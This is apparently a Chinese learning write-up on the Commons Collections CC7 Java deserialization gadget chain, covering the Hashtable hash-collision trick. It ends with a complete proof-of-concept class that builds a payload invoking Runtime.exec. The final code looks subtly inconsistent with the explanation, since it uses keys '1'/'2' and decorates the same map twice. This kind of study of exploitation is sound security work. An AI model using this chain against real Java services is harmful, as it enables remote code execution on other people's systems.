CC7
环境搭建
环境跟CC1一样: https://www.cnblogs.com/starme/p/18464845
大概链子:
参考: https://www.bilibili.com/video/BV1NQ4y1q7EU?t=2.4
分析
这个也是从LazyMap.get开始的
CC7链子给的是java.util.AbstractMap类的equals方法,即AbstractMap.equals -> LazyMap.get
应该是指这两个地方:
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map)) // 判断是否集成了接口Map
return false;
Map<?,?> m = (Map<?,?>) o; // 可能可以近似看成 m = o
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
AbstractMap的构造函数:
空参构造
但是发现AbstractMap为abstract类型,无法实例化
Hashtable的readObject中,遇到hash碰撞时,通过调用一个对象的equals方法对比这两个对象判断是否是真的hash碰撞,这里的equals是AbstractMap里的equals方法
Hashtable的构造方法:
public Hashtable(int initialCapacity, float loadFactor)
也有空参构造方法
会传一个LazyMap进去,因为LazyMap没有equals,所以会找LazyMap的父类AbstractMapDecorator,由于AbstractMapDecorator没有equals,所以会找AbstractMap.equals,然后再调LazyMap.get
Hashtable hashtable = new Hashtable<>();
怎么将hashtable与LazyMap联系起来?
不联系起来的话就会导致:
这里elements为0,
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
这个for循环用来读取所有的键值对对象,所以必须给hashtable赋值
怎么赋值?
不要忘了,hashtable实现了Map接口,所以可以通过put赋值
hashtable(lazymap,1);
这样赋值之后:
elements = 1
成功进入了reconstitutionPut方法中
来到这里:
int hash = key.hashCode(); // 获取哈希码
int index = (hash & 0x7FFFFFFF) % tab.length; // 计算键对象在哈希表中的索引位
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { // 用于遍历哈希表中特定索引位置的所有条目
if ((e.hash == hash) && e.key.equals(key)) { // 比较两个哈希码是否相同,也就是两个map的key的hashCode的结果是否相同
throw new java.io.StreamCorruptedException(); // 找到了与给定键相等的条目,就会抛出StreamCorruptedException异常
}
}
有什么信息?
1.至少要put两次,否则不能进入for循环
2.必须要先满足e.hash == hash
,然后才能进入e.key.equals
所以思路就是put两次,两个的key经hashCode处理后结果相同,第二个的value为LazyMap对象
这两个key为
"yy"
"zZ"
hashtable:
Hashtable hashtable = new Hashtable();// HashTable类有空参构造方法
hashtable.equals(lazyMap);
hashtable.put("yy",lazyMap);
hashtable.put("zZ",lazyMap);
先是"yy":
然后:
就变成"zZ"了:
此时的key = "zZ",而e.key = "yy":
导致了e.hash == hash:
究其原因可能是这个:
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next)
e是当前遍历的条目,e.next是指向链表中下一个条目的引用
yy在开头,所以yy是当前遍历的条目,即e = hashtable这个map,map里面是yy
反正就这样了
e.hash== hash,所以到了e.key.equals(key)
其中的:
e.key = yy
key = zZ
进入equals:
来到String.equals:
据说这里是调用的LazyMap.equals方法,然后传了个map2
因为LazyMap里没有这个equals方法,所以他会去找父类AbstractMapDecorator
它的父类实现了equals方法:
完整代码
package org.example.CC;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
// chainedTransformer.transform -> InvokerTransformer.transform
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}), // 原来把transform(Runtime.class)省去了
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
}; // 省去了.transform这步,引入了ChainedTransformer
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map map1 = LazyMap.decorate(hashMap1,chainedTransformer);
map1.put("1",1);
Map map2 = LazyMap.decorate(hashMap1,chainedTransformer);
map2.put("2",2);
Hashtable hashtable = new Hashtable();
hashtable.put(map1,1);
hashtable.put(map2,2);
// serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}